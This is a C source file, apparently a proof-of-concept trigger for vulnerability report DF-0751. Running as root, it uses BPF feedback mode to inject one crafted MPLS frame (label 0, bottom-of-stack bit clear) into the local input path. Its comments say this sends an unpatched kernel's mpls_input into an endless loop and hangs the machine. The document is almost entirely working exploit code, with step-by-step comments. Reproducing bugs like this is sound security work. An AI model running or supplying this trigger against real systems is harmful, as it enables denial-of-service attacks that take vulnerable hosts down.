DF-0751 / mpls_trigger.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 | /* * DF-0751 trigger: inject a single MPLS Ethernet frame with label=0 * (IPv4 explicit NULL) and S-bit (bottom-of-stack) CLEAR via bpf on vtnet0. * * The frame is a single MPLS label entry: * label = 0, exp = 0, S = 0, TTL = 64 * -> wire shim = ((0<<12) | (0<<9) | (0<<8) | 64) = 0x00000040 * * On a kernel with the mpls module loaded and the unpatched mpls_input(), * this drives mpls_input into the case 0 / S-clear branch which does * `goto again` WITHOUT m_adj -> mtod returns the same label forever -> * CPU pegs at 100% on the netisr thread, hard hang. * * Usage: ./mpls_trigger <ifname> (default ifname vtnet0) * Requires root to open /dev/bpf and write a raw frame. * * NOTE: To avoid bricking the guest for the rest of the run we run this * under a short timeout; if the kernel truly loops, the trigger process * itself will finish (write() returns), but the kernel netisr thread is * now spinning. The observable symptom is "guest stops responding to new * ssh, one CPU at 100%" -- which we capture by running `top` from another * ssh BEFORE triggering and re-checking AFTER. */ #include <sys/types.h> #include <sys/ioctl.h> #include <sys/socket.h> #include <net/if.h> #include <net/bpf.h> #include <net/ethernet.h> #include <arpa/inet.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <err.h> #ifndef ETHERTYPE_MPLS #define ETHERTYPE_MPLS 0x8847 #endif int main(int argc, char **argv) { const char *ifname = (argc > 1) ? argv[1] : "vtnet0"; char dev[16]; int fd, i, n; struct ifreq ifr; u_int dlt; u_int imm = 1; /* find a free bpf device */ for (i = 0; i < 16; i++) { snprintf(dev, sizeof(dev), "/dev/bpf%d", i); fd = open(dev, O_RDWR); if (fd >= 0) break; } if (fd < 0) err(1, "open bpf"); /* bind to interface */ memset(&ifr, 0, sizeof(ifr)); strlcpy(ifr.ifr_name, ifname, sizeof(ifr.ifr_name)); if (ioctl(fd, BIOCSETIF, &ifr) < 0) err(1, "BIOCSETIF %s", ifname); /* immediate return on write (don't wait for buffer fill) */ if (ioctl(fd, BIOCIMMEDIATE, &imm) < 0) err(1, "BIOCIMMEDIATE"); /* * Enable FEEDBACK mode: bpfwrite() will loop the written packet * back into ifp->if_input (ether_input) as if it arrived from the * wire. Without this, bpfwrite only does ifp->if_output (sends OUT * the interface) and the frame never reaches mpls_input. */ if (ioctl(fd, BIOCSFEEDBACK, &imm) < 0) err(1, "BIOCSFEEDBACK"); /* also set header-complete mode so our hand-built ethernet header * (incl. src/dst/ethertype) is used verbatim */ imm = 1; if (ioctl(fd, BIOCSHDRCMPLT, &imm) < 0) err(1, "BIOCSHDRCMPLT"); /* confirm datalink type is Ethernet */ if (ioctl(fd, BIOCGDLT, &dlt) < 0) err(1, "BIOCGDLT"); if (dlt != DLT_EN10MB) errx(1, "unexpected datalink type %u (want EN10MB)", dlt); /* * Build the frame: 14-byte Ethernet header + 4-byte MPLS shim. * dst = broadcast, src = anything, ethertype = 0x8847. * MPLS shim (network byte order on wire): label=0, exp=0, S=0, TTL=64 * -> big-endian 0x00000040 * We pack an extra 16 bytes of payload so m_pkthdr.len comfortably * exceeds sizeof(struct mpls) (=4) for the KASSERT in mpls_input. */ unsigned char frame[64]; memset(frame, 0, sizeof(frame)); /* dst = ff:ff:ff:ff:ff:ff */ memset(frame + 0, 0xff, 6); /* src = 52:54:00:12:34:56 (matches vtnet0) */ frame[6] = 0x52; frame[7] = 0x54; frame[8] = 0x00; frame[9] = 0x12; frame[10] = 0x34; frame[11] = 0x56; /* ethertype = 0x8847 */ frame[12] = 0x88; frame[13] = 0x47; /* MPLS shim: 0x00000040 big-endian */ frame[14] = 0x00; frame[15] = 0x00; frame[16] = 0x00; frame[17] = 0x40; /* rest is zero payload (already memset) */ printf("DF-0751: writing 1 MPLS frame (%zu bytes) label=0 S=0 TTL=64 on %s\n", sizeof(frame), ifname); fflush(stdout); n = write(fd, frame, sizeof(frame)); if (n < 0) err(1, "write bpf"); printf("DF-0751: write returned %d (frame injected)\n", n); printf("DF-0751: on vulnerable mpls_input(), the netisr thread now spins forever.\n"); fflush(stdout); close(fd); return 0; } |